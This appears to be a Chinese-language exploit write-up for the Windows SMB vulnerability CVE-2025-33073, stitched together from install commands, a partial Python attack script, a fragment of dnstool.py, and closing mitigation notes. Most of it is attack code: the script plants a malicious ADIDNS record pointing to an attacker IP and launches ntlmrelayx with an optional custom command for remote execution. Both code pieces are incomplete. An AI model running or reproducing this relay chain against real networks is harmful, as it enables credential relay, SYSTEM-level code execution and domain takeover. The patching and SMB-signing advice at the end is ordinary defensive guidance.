Windows SMB RCE漏洞CVE-2025-33073分析与利用工具

pip install impacket ldap3 dnspython

# 克隆相关工具
git clone <repository-url>
cd <project-directory>

# 确保脚本有执行权限
chmod +x *.py

# 安装系统依赖（Debian/Ubuntu）
sudo apt-get install xterm dig

#!/usr/bin/env python3
import shlex
import sys
import argparse
import subprocess
import time

# 静态DNS记录常量
STATIC_DNS_RECORD = "localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"

def run_dnstool(user, password, attacker_ip, dns_ip, dc_fqdn):
    """
    使用dnstool.py添加恶意DNS记录
    """
    print("[*] Adding malicious DNS record using dnstool.py...")
    dnstool_cmd = [
        "python3", "dnstool.py",
        "-u", user,
        "-p", password,
        "-a", "add",
        "-r", STATIC_DNS_RECORD,
        "-d", attacker_ip,
        "-dns-ip", dns_ip,
        dc_fqdn
    ]
    subprocess.run(dnstool_cmd, check=True)
    print("[+] DNS record added.")

def wait_for_dns_record(record, dns_ip, timeout=60):
    """
    等待DNS记录传播并验证
    """
    timeout = int(timeout)
    print(f"[*] Waiting for DNS record {record} to propagate...")
    start_time = time.time()
    while time.time() - start_time < timeout:
        try:
            result = subprocess.run(
                ["dig", "+short", record, f"@{dns_ip}"],
                capture_output=True, text=True
            )
            if result.stdout.strip():
                print("[+] DNS record is live.")
                return True
        except Exception as e:
            print(f"[!] Error checking DNS record: {e}")
        time.sleep(2)
    print("[!] Timeout reached. DNS record not found.")
    return False

def start_ntlmrelayx(target, cli_only=False, custom_command=None, socks=False):
    """
    启动impacket-ntlmrelayx监听器
    """
    if cli_only:
        print("[*] Starting ntlmrelayx listener in this terminal...")
        if custom_command:
            cmd = ["impacket-ntlmrelayx", "-t", target, "-smb2support", "-c", custom_command]
        else:
            cmd = ["impacket-ntlmrelayx", "-t", target, "-smb2support"]
        if socks:
            cmd.append("-socks")
        return subprocess.Popen(cmd)
    else:
        print("[*] Starting ntlmrelayx listener in a new xterm...")
        if custom_command:
            cmd = ["xterm", "-hold", "-e", "impacket-ntlmrelayx", "-t", target, "-smb2support", "-c", custom_command]
        else:
            cmd = ["xterm", "-hold", "-e", "impacket-ntlmrelayx", "-t", target, "-smb2support"]
        if socks:
            cmd.insert(-1, "-socks")
        return subprocess.Popen(cmd)

#!/usr/bin/env python
"""
ADIDNS over LDAP交互工具
Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan)
"""

import sys
import argparse
import getpass
import re
import os
import socket
from struct import unpack, pack
from impacket.structure import Structure
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from ldap3 import NTLM, Server, Connection, ALL, LEVEL, BASE, MODIFY_DELETE, MODIFY_ADD, MODIFY_REPLACE, SASL, KERBEROS
from lib.utils.kerberos import ldap_kerberos
import ldap3
from impacket.ldap import ldaptypes
import dns.resolver
import datetime

def print_m(string):
    """打印消息"""
    sys.stderr.write('\033[94m[-]\033[0m %s\n' % (string))

def print_o(string):
    """打印成功信息"""
    sys.stderr.write('\033[92m[+]\033[0m %s\n' % (string))

def print_f(string):
    """打印失败信息"""
    sys.stderr.write('\033[91m[!]\033[0m %s\n' % (string))

# ✨ CVE-2025-33073: Windows SMB RCE Vulnerability 🚨
# 🔥 High-Severity Authenticated Remote Code Execution 🔥 
# Improper Access Control in Windows SMB Client (CWE-284)

# 🛡️ 关键信息概览
"""
CVSS v3.1评分: 8.8 (高危)
受影响系统: Windows 10, 11, Server 2012–2025 (所有版本)
披露日期: 2025年6月10日 (已在2025年6月补丁星期二修复)
攻击向量: 网络 (需身份验证)
影响: SYSTEM级别代码执行，通过Kerberos中继进行横向移动
绕过: NTLM反射缓解措施
"""

# 🛠️ 立即缓解措施
"""
1. 立即打补丁! 
   → 应用Microsoft更新 (例如 KB5060998)
   → Microsoft更新指南: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073

2. 启用SMB签名
   → 在所有客户端和服务器上强制执行
   → 使用命令: Set-SmbClientConfiguration -RequireSecuritySignature $true

3. 限制NTLM使用
   → 尽可能阻止NTLM
   → 使用EDR工具监控中继尝试

4. 为什么这个漏洞重要?
   - 绕过传统的NTLM保护
   - 即使在SMB签名未强制执行的情况下也能工作
   - 在配置不当的AD环境中实现完整的域接管
"""